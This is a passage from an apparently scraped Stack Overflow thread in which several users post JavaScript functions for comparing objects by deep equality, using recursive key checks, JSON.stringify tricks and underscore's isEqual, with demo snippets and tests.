answer...</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>Object.prototype.equals = function (object) {\r\n if (this.constructor !== object.constructor) return false;\r\n if (Object.keys(this).length !== Object.keys(object).length) return false;\r\n var obk;\r\n for (obk in object) {\r\n if (this[obk] !== object[obk])\r\n return false;\r\n }\r\n return true;\r\n}\r\n\r\nvar aaa = JSON.parse('{\"name\":\"mike\",\"tel\":\"1324356584\"}');\r\nvar bbb = JSON.parse('{\"tel\":\"1324356584\",\"name\":\"mike\"}');\r\nvar ccc = JSON.parse('{\"name\":\"mike\",\"tel\":\"584\"}');\r\nvar ddd = JSON.parse('{\"name\":\"mike\",\"tel\":\"1324356584\", \"work\":\"nope\"}');\r\n\r\n$(\"#ab\").text(aaa.equals(bbb));\r\n$(\"#ba\").text(bbb.equals(aaa));\r\n$(\"#bc\").text(bbb.equals(ccc));\r\n$(\"#ad\").text(aaa.equals(ddd));</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"&gt;&lt;/script&gt;\r\naaa equals bbb? &lt;span id=\"ab\"&gt;&lt;/span&gt; &lt;br/&gt;\r\nbbb equals aaa? &lt;span id=\"ba\"&gt;&lt;/span&gt; &lt;br/&gt;\r\nbbb equals ccc? &lt;span id=\"bc\"&gt;&lt;/span&gt; &lt;br/&gt;\r\naaa equals ddd? &lt;span id=\"ad\"&gt;&lt;/span&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 29703135, "author": "PicoCreator", "author_id": 793842, "author_profile": "https://Stackoverflow.com/users/793842", "pm_score": 2, "selected": false, "text": "<p>Pulling out from my personal library, which i use for my work repeatedly. The following function is a lenient recursive deep equal, which <strong>does not check</strong></p>\n\n<ul>\n<li>Class equality</li>\n<li>Inherited values</li>\n<li>Values strict equality</li>\n</ul>\n\n<p>I mainly use this to check if i get equal replies against various API implementation. Where implementation difference (like string vs number) and additional null values, can occur. </p>\n\n<p>Its implementation is quite straightforward and short (if all the comments is stripped off)</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>/** Recursively check if both objects are equal in value\r\n***\r\n*** This function is designed to use multiple methods from most probable \r\n*** (and in most cases) valid, to the more regid and complex method.\r\n***\r\n*** One of the main principles behind the various check is that while\r\n*** some of the simpler checks such as == or JSON may cause false negatives,\r\n*** they do not cause false positives. As such they can be safely run first.\r\n***\r\n*** # !Important Note:\r\n*** as this function is designed for simplified deep equal checks it is not designed\r\n*** for the following\r\n***\r\n*** - Class equality, (ClassA().a = 1) maybe valid to (ClassB().b = 1)\r\n*** - Inherited values, this actually ignores them\r\n*** - Values being strictly equal, \"1\" is equal to 1 (see the basic equality check on this)\r\n*** - Performance across all cases. This is designed for high performance on the\r\n*** most probable cases of == / JSON equality. Consider bench testing, if you have\r\n*** more 'complex' requirments\r\n***\r\n*** @param objA : First object to compare\r\n*** @param objB : 2nd object to compare\r\n*** @param .... : Any other objects to compare\r\n***\r\n*** @returns true if all equals, or false if invalid\r\n***\r\n*** @license Copyright by [email protected], 2012.\r\n*** Licensed under the MIT license: http://opensource.org/licenses/MIT\r\n**/\r\nfunction simpleRecusiveDeepEqual(objA, objB) {\r\n // Multiple comparision check\r\n //--------------------------------------------\r\n var args = Array.prototype.slice.call(arguments);\r\n if(args.length &gt; 2) {\r\n for(var a=1; a&lt;args.length; ++a) {\r\n if(!simpleRecusiveDeepEqual(args[a-1], args[a])) {\r\n return false;\r\n }\r\n }\r\n return true;\r\n } else if(args.length &lt; 2) {\r\n throw \"simpleRecusiveDeepEqual, requires atleast 2 arguments\";\r\n }\r\n \r\n // basic equality check,\r\n //--------------------------------------------\r\n // if this succed the 2 basic values is equal,\r\n // such as numbers and string.\r\n //\r\n // or its actually the same object pointer. Bam\r\n //\r\n // Note that if string and number strictly equal is required\r\n // change the equality from ==, to ===\r\n //\r\n if(objA == objB) {\r\n return true;\r\n }\r\n \r\n // If a value is a bsic type, and failed above. This fails\r\n var basicTypes = [\"boolean\", \"number\", \"string\"];\r\n if( basicTypes.indexOf(typeof objA) &gt;= 0 || basicTypes.indexOf(typeof objB) &gt;= 0 ) {\r\n return false;\r\n }\r\n \r\n // JSON equality check,\r\n //--------------------------------------------\r\n // this can fail, if the JSON stringify the objects in the wrong order\r\n // for example the following may fail, due to different string order:\r\n //\r\n // JSON.stringify( {a:1, b:2} ) == JSON.stringify( {b:2, a:1} )\r\n //\r\n if(JSON.stringify(objA) == JSON.stringify(objB)) {\r\n return true;\r\n }\r\n \r\n // Array equality check\r\n //--------------------------------------------\r\n // This is performed prior to iteration check,\r\n // Without this check the following would have been considered valid\r\n //\r\n // simpleRecusiveDeepEqual( { 0:1963 }, [1963] );\r\n //\r\n // Note that u may remove this segment if this is what is intended\r\n //\r\n if( Array.isArray(objA) ) {\r\n //objA is array, objB is not an array\r\n if( !Array.isArray(objB) ) {\r\n return false;\r\n }\r\n } else if( Array.isArray(objB) ) {\r\n //objA is not array, objB is an array\r\n return false;\r\n }\r\n \r\n // Nested values iteration\r\n //--------------------------------------------\r\n // Scan and iterate all the nested values, and check for non equal values recusively\r\n //\r\n // Note that this does not check against null equality, remove the various \"!= null\"\r\n // if this is required\r\n \r\n var i; //reuse var to iterate\r\n \r\n // Check objA values against objB\r\n for (i in objA) {\r\n //Protect against inherited properties\r\n if(objA.hasOwnProperty(i)) {\r\n if(objB.hasOwnProperty(i)) {\r\n // Check if deep equal is valid\r\n if(!simpleRecusiveDeepEqual( objA[i], objB[i] )) {\r\n return false;\r\n }\r\n } else if(objA[i] != null) {\r\n //ignore null values in objA, that objB does not have\r\n //else fails\r\n return false;\r\n }\r\n }\r\n }\r\n \r\n // Check if objB has additional values, that objA do not, fail if so\r\n for (i in objB) {\r\n if(objB.hasOwnProperty(i)) {\r\n if(objB[i] != null &amp;&amp; !objA.hasOwnProperty(i)) {\r\n //ignore null values in objB, that objA does not have\r\n //else fails\r\n return false;\r\n }\r\n }\r\n }\r\n \r\n // End of all checks\r\n //--------------------------------------------\r\n // By reaching here, all iteration scans have been done.\r\n // and should have returned false if it failed\r\n return true;\r\n}\r\n\r\n// Sanity checking of simpleRecusiveDeepEqual\r\n(function() {\r\n if(\r\n // Basic checks\r\n !simpleRecusiveDeepEqual({}, {}) ||\r\n !simpleRecusiveDeepEqual([], []) ||\r\n !simpleRecusiveDeepEqual(['a'], ['a']) ||\r\n // Not strict checks\r\n !simpleRecusiveDeepEqual(\"1\", 1) ||\r\n // Multiple objects check\r\n !simpleRecusiveDeepEqual( { a:[1,2] }, { a:[1,2] }, { a:[1,2] } ) ||\r\n // Ensure distinction between array and object (the following should fail)\r\n simpleRecusiveDeepEqual( [1963], { 0:1963 } ) ||\r\n // Null strict checks\r\n simpleRecusiveDeepEqual( 0, null ) ||\r\n simpleRecusiveDeepEqual( \"\", null ) ||\r\n // Last \"false\" exists to make the various check above easy to comment in/out\r\n false\r\n ) {\r\n alert(\"FATAL ERROR: simpleRecusiveDeepEqual failed basic checks\");\r\n } else { \r\n //added this last line, for SO snippet alert on success\r\n alert(\"simpleRecusiveDeepEqual: Passed all checks, Yays!\");\r\n }\r\n})();</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 31618776, "author": "PunjCoder", "author_id": 764495, "author_profile": "https://Stackoverflow.com/users/764495", "pm_score": 1, "selected": false, "text": "<p>I'm not a Javascript expert, but here is one simple attempt to solve it. I check for three things:</p>\n\n<ol>\n<li>Is it an <code>object</code> and also that it is not <code>null</code> because <code>typeof null</code> is <code>object</code>.</li>\n<li>If the property count of the two objects is the same? If not they are not equal.</li>\n<li>Loop through properties of one and check if corresponding property has same value in second object.</li>\n</ol>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function deepEqual (first, second) {\r\n // Not equal if either is not an object or is null.\r\n if (!isObject(first) || !isObject(second) ) return false;\r\n\r\n // If properties count is different\r\n if (keys(first).length != keys(second).length) return false;\r\n\r\n // Return false if any property value is different.\r\n for(prop in first){\r\n if (first[prop] != second[prop]) return false;\r\n }\r\n return true;\r\n}\r\n\r\n// Checks if argument is an object and is not null\r\nfunction isObject(obj) {\r\n return (typeof obj === \"object\" &amp;&amp; obj != null);\r\n}\r\n\r\n// returns arrays of object keys\r\nfunction keys (obj) {\r\n result = [];\r\n for(var key in obj){\r\n result.push(key);\r\n }\r\n return result;\r\n}\r\n\r\n// Some test code\r\nobj1 = {\r\n name: 'Singh',\r\n age: 20\r\n}\r\n\r\nobj2 = {\r\n age: 20,\r\n name: 'Singh'\r\n}\r\n\r\nobj3 = {\r\n name: 'Kaur',\r\n age: 19\r\n}\r\n\r\nconsole.log(deepEqual(obj1, obj2));\r\nconsole.log(deepEqual(obj1, obj3));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 32195981, "author": "Alan R. Soares", "author_id": 1049963, "author_profile": "https://Stackoverflow.com/users/1049963", "pm_score": 4, "selected": false, "text": "<p>Heres's a solution in ES6/ES2015 using a functional-style approach:</p>\n\n<pre><code>const typeOf = x =&gt; \n ({}).toString\n .call(x)\n .match(/\\[object (\\w+)\\]/)[1]\n\nfunction areSimilar(a, b) {\n const everyKey = f =&gt; Object.keys(a).every(f)\n\n switch(typeOf(a)) {\n case 'Array':\n return a.length === b.length &amp;&amp;\n everyKey(k =&gt; areSimilar(a.sort()[k], b.sort()[k]));\n case 'Object':\n return Object.keys(a).length === Object.keys(b).length &amp;&amp;\n everyKey(k =&gt; areSimilar(a[k], b[k]));\n default:\n return a === b;\n }\n}\n</code></pre>\n\n<p><a href=\"http://jsbin.com/yowasucube/edit?js,console\" rel=\"noreferrer\">demo available here</a></p>\n" }, { "answer_id": 32922084, "author": "atmin", "author_id": 2713676, "author_profile": "https://Stackoverflow.com/users/2713676", "pm_score": 6, "selected": false, "text": "<p>Short functional <code>deepEqual</code> implementation:</p>\n\n<pre><code>function deepEqual(x, y) {\n return (x &amp;&amp; y &amp;&amp; typeof x === 'object' &amp;&amp; typeof y === 'object') ?\n (Object.keys(x).length === Object.keys(y).length) &amp;&amp;\n Object.keys(x).reduce(function(isEqual, key) {\n return isEqual &amp;&amp; deepEqual(x[key], y[key]);\n }, true) : (x === y);\n}\n</code></pre>\n\n<p><strong>Edit</strong>: version 2, using jib's suggestion and ES6 arrow functions:</p>\n\n<pre><code>function deepEqual(x, y) {\n const ok = Object.keys, tx = typeof x, ty = typeof y;\n return x &amp;&amp; y &amp;&amp; tx === 'object' &amp;&amp; tx === ty ? (\n ok(x).length === ok(y).length &amp;&amp;\n ok(x).every(key =&gt; deepEqual(x[key], y[key]))\n ) : (x === y);\n}\n</code></pre>\n" }, { "answer_id": 35821859, "author": "jib", "author_id": 918910, "author_profile": "https://Stackoverflow.com/users/918910", "pm_score": 4, "selected": false, "text": "<p>I use this <code>comparable</code> function to produce copies of my objects that are JSON comparable:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>var comparable = o =&gt; (typeof o != 'object' || !o)? o :\r\n Object.keys(o).sort().reduce((c, key) =&gt; (c[key] = comparable(o[key]), c), {});\r\n\r\n// Demo:\r\n\r\nvar a = { a: 1, c: 4, b: [2, 3], d: { e: '5', f: null } };\r\nvar b = { b: [2, 3], c: 4, d: { f: null, e: '5' }, a: 1 };\r\n\r\nconsole.log(JSON.stringify(comparable(a)));\r\nconsole.log(JSON.stringify(comparable(b)));\r\nconsole.log(JSON.stringify(comparable(a)) == JSON.stringify(comparable(b)));</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div id=\"div\"&gt;&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>Comes in handy in tests (most test frameworks have an <code>is</code> function). E.g.</p>\n\n<pre><code>is(JSON.stringify(comparable(x)), JSON.stringify(comparable(y)), 'x must match y');\n</code></pre>\n\n<p>If a difference is caught, strings get logged, making differences spottable:</p>\n\n<pre><code>x must match y\ngot {\"a\":1,\"b\":{\"0\":2,\"1\":3},\"c\":7,\"d\":{\"e\":\"5\",\"f\":null}},\nexpected {\"a\":1,\"b\":{\"0\":2,\"1\":3},\"c\":4,\"d\":{\"e\":\"5\",\"f\":null}}.\n</code></pre>\n" }, { "answer_id": 38661235, "author": "pmrotule", "author_id": 1895428, "author_profile": "https://Stackoverflow.com/users/1895428", "pm_score": -1, "selected": false, "text": "<p>I have a much shorter function that will go deep into all sub objects or arrays. It is as efficient as <code>JSON.stringify(obj1) === JSON.stringify(obj2)</code> but <code>JSON.stringify</code> will not work if the order is not the same (<a href=\"https://stackoverflow.com/a/1144249/1895428\">as mentioned here</a>).</p>\n\n<pre><code>var obj1 = { a : 1, b : 2 };\nvar obj2 = { b : 2, a : 1 };\n\nconsole.log(JSON.stringify(obj1) === JSON.stringify(obj2)); // false\n</code></pre>\n\n<p>The function would also be a good start if you want to do something with the unequal values.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function arr_or_obj(v)\r\n{ return !!v &amp;&amp; (v.constructor === Object || v.constructor === Array); }\r\n\r\nfunction deep_equal(v1, v2)\r\n{\r\n if (arr_or_obj(v1) &amp;&amp; arr_or_obj(v2) &amp;&amp; v1.constructor === v2.constructor)\r\n {\r\n if (Object.keys(v1).length === Object.keys(v2).length) // check the length\r\n for (var i in v1)\r\n {\r\n if (!deep_equal(v1[i], v2[i]))\r\n { return false; }\r\n }\r\n else\r\n { return false; }\r\n }\r\n else if (v1 !== v2)\r\n { return false; }\r\n\r\n return true;\r\n}\r\n\r\n//////////////////////////////////////////////////////////////////\r\n//////////////////////////////////////////////////////////////////\r\n\r\nvar obj1 = [\r\n {\r\n hat : {\r\n cap : ['something', null ],\r\n helmet : [ 'triple eight', 'pro-tec' ]\r\n },\r\n shoes : [ 'loafer', 'penny' ]\r\n },\r\n {\r\n beers : [ 'budweiser', 'busch' ],\r\n wines : [ 'barefoot', 'yellow tail' ]\r\n }\r\n];\r\n\r\nvar obj2 = [\r\n {\r\n shoes : [ 'loafer', 'penny' ], // same even if the order is different\r\n hat : {\r\n cap : ['something', null ],\r\n helmet : [ 'triple eight', 'pro-tec' ]\r\n }\r\n },\r\n {\r\n beers : [ 'budweiser', 'busch' ],\r\n wines : [ 'barefoot', 'yellow tail' ]\r\n }\r\n];\r\n\r\nconsole.log(deep_equal(obj1, obj2)); // true\r\nconsole.log(JSON.stringify(obj1) === JSON.stringify(obj2)); // false\r\nconsole.log(deep_equal([], [])); // true\r\nconsole.log(deep_equal({}, {})); // true\r\nconsole.log(deep_equal([], {})); // false</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>And if you want to add support for <code>Function</code>, <code>Date</code> and <code>RegExp</code>, you can add this at the beginning of <code>deep_equal</code> (not tested):</p>\n\n<pre><code>if ((typeof obj1 === 'function' &amp;&amp; typeof obj2 === 'function') ||\n(obj1 instanceof Date &amp;&amp; obj2 instanceof Date) ||\n(obj1 instanceof RegExp &amp;&amp; obj2 instanceof RegExp))\n{\n obj1 = obj1.toString();\n obj2 = obj2.toString();\n}\n</code></pre>\n" }, { "answer_id": 39475704, "author": "Sir_baaron", "author_id": 5203474, "author_profile": "https://Stackoverflow.com/users/5203474", "pm_score": 2, "selected": false, "text": "<p>I faced the same problem and deccided to write my own solution. But because I want to also compare Arrays with Objects and vice-versa, I crafted a generic solution. I decided to add the functions to the prototype, but one can easily rewrite them to standalone functions. Here is the code:</p>\n\n<pre><code>Array.prototype.equals = Object.prototype.equals = function(b) {\n var ar = JSON.parse(JSON.stringify(b));\n var err = false;\n for(var key in this) {\n if(this.hasOwnProperty(key)) {\n var found = ar.find(this[key]);\n if(found &gt; -1) {\n if(Object.prototype.toString.call(ar) === \"[object Object]\") {\n delete ar[Object.keys(ar)[found]];\n }\n else {\n ar.splice(found, 1);\n }\n }\n else {\n err = true;\n break;\n }\n }\n };\n if(Object.keys(ar).length &gt; 0 || err) {\n return false;\n }\n return true;\n}\n\nArray.prototype.find = Object.prototype.find = function(v) {\n var f = -1;\n for(var i in this) {\n if(this.hasOwnProperty(i)) {\n if(Object.prototype.toString.call(this[i]) === \"[object Array]\" || Object.prototype.toString.call(this[i]) === \"[object Object]\") {\n if(this[i].equals(v)) {\n f = (typeof(i) == \"number\") ? i : Object.keys(this).indexOf(i);\n }\n }\n else if(this[i] === v) {\n f = (typeof(i) == \"number\") ? i : Object.keys(this).indexOf(i);\n }\n }\n }\n return f;\n}\n</code></pre>\n\n<p>This Algorithm is split into two parts; The equals function itself and a function to find the numeric index of a property in an array / object. The find function is only needed because indexof only finds numbers and strings and no objects .</p>\n\n<p>One can call it like this:</p>\n\n<pre><code>({a: 1, b: \"h\"}).equals({a: 1, b: \"h\"});\n</code></pre>\n\n<p>The function either returns true or false, in this case true.\nThe algorithm als allows comparison between very complex objects:</p>\n\n<pre><code>({a: 1, b: \"hello\", c: [\"w\", \"o\", \"r\", \"l\", \"d\", {answer1: \"should be\", answer2: true}]}).equals({b: \"hello\", a: 1, c: [\"w\", \"d\", \"o\", \"r\", {answer1: \"should be\", answer2: true}, \"l\"]})\n</code></pre>\n\n<p>The upper example will return true, even tho the properties have a different ordering. One small detail to look out for: This code also checks for the same type of two variables, so \"3\" is not the same as 3.</p>\n" }, { "answer_id": 39673336, "author": "Dakusan", "author_id": 698632, "author_profile": "https://Stackoverflow.com/users/698632", "pm_score": 0, "selected": false, "text": "<p>My version, which includes the chain of where the difference is found, and what the difference is.</p>\n\n<pre><code>function DeepObjectCompare(O1, O2)\n{\n try {\n DOC_Val(O1, O2, ['O1-&gt;O2', O1, O2]);\n return DOC_Val(O2, O1, ['O2-&gt;O1', O1, O2]);\n } catch(e) {\n console.log(e.Chain);\n throw(e);\n }\n}\nfunction DOC_Error(Reason, Chain, Val1, Val2)\n{\n this.Reason=Reason;\n this.Chain=Chain;\n this.Val1=Val1;\n this.Val2=Val2;\n}\n\nfunction DOC_Val(Val1, Val2, Chain)\n{\n function DoThrow(Reason, NewChain) { throw(new DOC_Error(Reason, NewChain!==undefined ? NewChain : Chain, Val1, Val2)); }\n\n if(typeof(Val1)!==typeof(Val2))\n return DoThrow('Type Mismatch');\n if(Val1===null || Val1===undefined)\n return Val1!==Val2 ? DoThrow('Null/undefined mismatch') : true;\n if(Val1.constructor!==Val2.constructor)\n return DoThrow('Constructor mismatch');\n switch(typeof(Val1))\n {\n case 'object':\n for(var m in Val1)\n {\n if(!Val1.hasOwnProperty(m))\n continue;\n var CurChain=Chain.concat([m]);\n if(!Val2.hasOwnProperty(m))\n return DoThrow('Val2 missing property', CurChain);\n DOC_Val(Val1[m], Val2[m], CurChain);\n }\n return true;\n case 'number':\n if(Number.isNaN(Val1))\n return !Number.isNaN(Val2) ? DoThrow('NaN mismatch') : true;\n case 'string':\n case 'boolean':\n return Val1!==Val2 ? DoThrow('Value mismatch') : true;\n case 'function':\n if(Val1.prototype!==Val2.prototype)\n return DoThrow('Prototype mismatch');\n if(Val1!==Val2)\n return DoThrow('Function mismatch');\n return true;\n default:\n return DoThrow('Val1 is unknown type');\n }\n}\n</code></pre>\n" }, { "answer_id": 40614399, "author": "Egor Litvinchuk", "author_id": 2850069, "author_profile": "https://Stackoverflow.com/users/2850069", "pm_score": 3, "selected": false, "text": "<p>Just wanted to contribute my version of objects comparison utilizing some es6 features. It doesn't take an order into account. After converting all if/else's to ternary I've came with following:</p>\n\n<pre><code>function areEqual(obj1, obj2) {\n\n return Object.keys(obj1).every(key =&gt; {\n\n return obj2.hasOwnProperty(key) ?\n typeof obj1[key] === 'object' ?\n areEqual(obj1[key], obj2[key]) :\n obj1[key] === obj2[key] :\n false;\n\n }\n )\n}\n</code></pre>\n" }, { "answer_id": 42611416, "author": "Zac", "author_id": 6155692, "author_profile": "https://Stackoverflow.com/users/6155692", "pm_score": 4, "selected": false, "text": "<p>I don't know if anyone's posted anything similar to this, but here's a function I made to check for object equalities.</p>\n\n<pre><code>function objectsAreEqual(a, b) {\n for (var prop in a) {\n if (a.hasOwnProperty(prop)) {\n if (b.hasOwnProperty(prop)) {\n if (typeof a[prop] === 'object') {\n if (!objectsAreEqual(a[prop], b[prop])) return false;\n } else {\n if (a[prop] !== b[prop]) return false;\n }\n } else {\n return false;\n }\n }\n }\n return true;\n}\n</code></pre>\n\n<p>Also, it's recursive, so it can also check for deep equality, if that's what you call it.</p>\n" }, { "answer_id": 43760048, "author": "muratgozel", "author_id": 695796, "author_profile": "https://Stackoverflow.com/users/695796", "pm_score": -1, "selected": false, "text": "<p>Here is generic equality checker function that receives array of elements as input and compare them to each other. Works with all types of elements. </p>\n\n<pre><code>const isEqual = function(inputs = []) {\n // Checks an element if js object.\n const isObject = function(data) {\n return Object.prototype.toString.call(data) === '[object Object]';\n };\n // Sorts given object by its keys.\n const sortObjectByKey = function(obj) {\n const self = this;\n if (!obj) return {};\n return Object.keys(obj).sort().reduce((initialVal, item) =&gt; {\n initialVal[item] = !Array.isArray(obj[item]) &amp;&amp;\n typeof obj[item] === 'object'\n ? self.objectByKey(obj[item])\n : obj[item];\n return initialVal;\n }, {});\n };\n\n // Checks equality of all elements in the input against each other. Returns true | false\n return (\n inputs\n .map(\n input =&gt;\n typeof input == 'undefined'\n ? ''\n : isObject(input)\n ? JSON.stringify(sortObjectByKey(input))\n : JSON.stringify(input)\n )\n .reduce(\n (prevValue, input) =&gt;\n prevValue === '' || prevValue === input ? input : false,\n ''\n ) !== false\n );\n};\n\n// Tests (Made with Jest test framework.)\ntest('String equality check', () =&gt; {\n expect(isEqual(['murat'])).toEqual(true);\n expect(isEqual(['murat', 'john', 'doe'])).toEqual(false);\n expect(isEqual(['murat', 'murat', 'murat'])).toEqual(true);\n});\n\ntest('Float equality check', () =&gt; {\n expect(isEqual([7.89, 3.45])).toEqual(false);\n expect(isEqual([7, 7.50])).toEqual(false);\n expect(isEqual([7.50, 7.50])).toEqual(true);\n expect(isEqual([7, 7])).toEqual(true);\n expect(isEqual([0.34, 0.33])).toEqual(false);\n expect(isEqual([0.33, 0.33])).toEqual(true);\n});\n\ntest('Array equality check', () =&gt; {\n expect(isEqual([[1, 2, 3], [1, 2, 3]])).toEqual(true);\n expect(isEqual([[1, 3], [1, 2, 3]])).toEqual(false);\n expect(isEqual([['murat', 18], ['murat', 18]])).toEqual(true);\n});\n\ntest('Object equality check', () =&gt; {\n let obj1 = {\n name: 'murat',\n age: 18\n };\n let obj2 = {\n name: 'murat',\n age: 18\n };\n let obj3 = {\n age: 18,\n name: 'murat'\n };\n let obj4 = {\n name: 'murat',\n age: 18,\n occupation: 'nothing'\n };\n expect(isEqual([obj1, obj2])).toEqual(true);\n expect(isEqual([obj1, obj2, obj3])).toEqual(true);\n expect(isEqual([obj1, obj2, obj3, obj4])).toEqual(false);\n});\n\ntest('Weird equality checks', () =&gt; {\n expect(isEqual(['', {}])).toEqual(false);\n expect(isEqual([0, '0'])).toEqual(false);\n});\n</code></pre>\n\n<p><a href=\"https://gist.github.com/muratgozel/e916259cea2578bfb8f68cc681b88813\" rel=\"nofollow noreferrer\">There is also a gist</a></p>\n" }, { "answer_id": 45930085, "author": "gmonte", "author_id": 8530226, "author_profile": "https://Stackoverflow.com/users/8530226", "pm_score": 0, "selected": false, "text": "<p>I've implemented a method that takes two jsons and checks to see if their keys have the same values using recursion. \nI used <a href=\"https://stackoverflow.com/questions/3115982/how-to-check-if-two-arrays-are-equal-with-javascript\">another question</a> to solve this.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const arraysEqual = (a, b) =&gt; {\r\n if (a === b)\r\n return true;\r\n if (a === null || b === null)\r\n return false;\r\n if (a.length !== b.length)\r\n return false;\r\n\r\n // If you don't care about the order of the elements inside\r\n // the array, you should sort both arrays here.\r\n\r\n for (let i = 0; i &lt; a.length; ++i) {\r\n if (a[i] !== b[i])\r\n return false;\r\n }\r\n return true;\r\n};\r\n\r\nconst jsonsEqual = (a, b) =&gt; {\r\n\r\n if(typeof a !== 'object' || typeof b !== 'object')\r\n return false;\r\n\r\n if (Object.keys(a).length === Object.keys(b).length) { // if items have the same size\r\n let response = true;\r\n\r\n for (let key in a) {\r\n if (!b[key]) // if not key\r\n response = false;\r\n if (typeof a[key] !== typeof b[key]) // if typeof doesn't equals\r\n response = false;\r\n else {\r\n if (Array.isArray(a[key])) // if array\r\n response = arraysEqual(a[key], b[key]);\r\n else if (typeof a[key] === 'object') // if another json\r\n response = jsonsEqual(a[key], b[key]);\r\n else if (a[key] !== b[key]) // not equals\r\n response = false;\r\n }\r\n if (!response) // return if one item isn't equal\r\n return false;\r\n }\r\n } else\r\n return false;\r\n\r\n return true;\r\n};\r\n\r\nconst json1 = { \r\n a: 'a', \r\n b: 'asd', \r\n c: [\r\n '1',\r\n 2,\r\n 2.5,\r\n '3', \r\n {\r\n d: 'asd',\r\n e: [\r\n 1.6,\r\n { \r\n f: 'asdasd',\r\n g: '123'\r\n }\r\n ]\r\n }\r\n ],\r\n h: 1,\r\n i: 1.2,\r\n};\r\n\r\nconst json2 = {\r\n a: 'nops',\r\n b: 'asd'\r\n};\r\n\r\nconst json3 = { \r\n a: 'h', \r\n b: '484', \r\n c: [\r\n 3,\r\n 4.5,\r\n '2ss', \r\n {\r\n e: [\r\n { \r\n f: 'asdasd',\r\n g: '123'\r\n }\r\n ]\r\n }\r\n ],\r\n h: 1,\r\n i: 1.2,\r\n};\r\n\r\nconst result = jsonsEqual(json1,json2);\r\n//const result = jsonsEqual(json1,json3);\r\n//const result = jsonsEqual(json1,json1);\r\n\r\nif(result) // is equal\r\n $('#result').text(\"Jsons are the same\")\r\nelse\r\n $('#result').text(\"Jsons aren't equals\")</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"&gt;&lt;/script&gt;\r\n\r\n&lt;div id=\"result\"&gt;&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n" }, { "answer_id": 46645497, "author": "Pratik Bhalodiya", "author_id": 4419353, "author_profile": "https://Stackoverflow.com/users/4419353", "pm_score": 5, "selected": false, "text": "<p><strong>Simplest</strong> and <strong>logical</strong> solutions for comparing everything Like <strong>Object, Array, String, Int...</strong></p>\n\n<p><code>JSON.stringify({a: val1}) === JSON.stringify({a: val2})</code></p>\n\n<p>Note: </p>\n\n<ul>\n<li>you need to replace <code>val1</code>and <code>val2</code> with your Object</li>\n<li>for the object, you have to sort(by key) recursively for both side objects</li>\n</ul>\n" }, { "answer_id": 48158820, "author": "EJW", "author_id": 436569, "author_profile": "https://Stackoverflow.com/users/436569", "pm_score": 0, "selected": false, "text": "<p>Here's a version of the stringify trick that is less typing and works in a lot of cases for trivial JSON data comparisons. </p>\n\n<pre><code>var obj1Fingerprint = JSON.stringify(obj1).replace(/\\{|\\}/g,'').split(',').sort().join(',');\nvar obj2Fingerprint = JSON.stringify(obj2).replace(/\\{|\\}/g,'').split(',').sort().join(',');\nif ( obj1Fingerprint === obj2Fingerprint) { ... } else { ... }\n</code></pre>\n" }, { "answer_id": 48252403, "author": "Ryan.C", "author_id": 1511202, "author_profile": "https://Stackoverflow.com/users/1511202", "pm_score": 0, "selected": false, "text": "<p>Lot's of good thoughts here! Here is my version of deep equal. I posted it on github and wrote some tests around it. It's hard to cover all the possible cases and sometimes it's unnecessary to do so. </p>\n\n<p>I covered <code>NaN !== NaN</code> as well as circular dependencies.</p>\n\n<p><a href=\"https://github.com/ryancat/simple-deep-equal/blob/master/index.js\" rel=\"nofollow noreferrer\">https://github.com/ryancat/simple-deep-equal/blob/master/index.js</a></p>\n" }, { "answer_id": 49391694, "author": "Bentaiba Miled Basma", "author_id": 5647169, "author_profile": "https://Stackoverflow.com/users/5647169", "pm_score": 3, "selected": false, "text": "<p>you can use <code>_.isEqual(obj1, obj2)</code> from the underscore.js library.</p>\n\n<p>Here is an example:</p>\n\n<pre><code>var stooge = {name: 'moe', luckyNumbers: [13, 27, 34]};\nvar clone = {name: 'moe', luckyNumbers: [13, 27, 34]};\nstooge == clone;\n=&gt; false\n_.isEqual(stooge, clone);\n=&gt; true\n</code></pre>\n\n<p>See the official documentation from here: <a href=\"http://underscorejs.org/#isEqual\" rel=\"noreferrer\">http://underscorejs.org/#isEqual</a></p>\n" }, { "answer_id": 50385769, "author": "Zameer Ansari", "author_id": 2404470, "author_profile": "https://Stackoverflow.com/users/2404470", "pm_score": 2, "selected": false, "text": "<p><strong>Assuming that the order of the properties in the object is not changed.</strong></p>\n\n<p><a href=\"https://www.w3schools.com/js/js_json_stringify.asp\" rel=\"nofollow noreferrer\">JSON.stringify()</a> works for deep and non-deep both types of objects, not very sure of performance aspects:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js 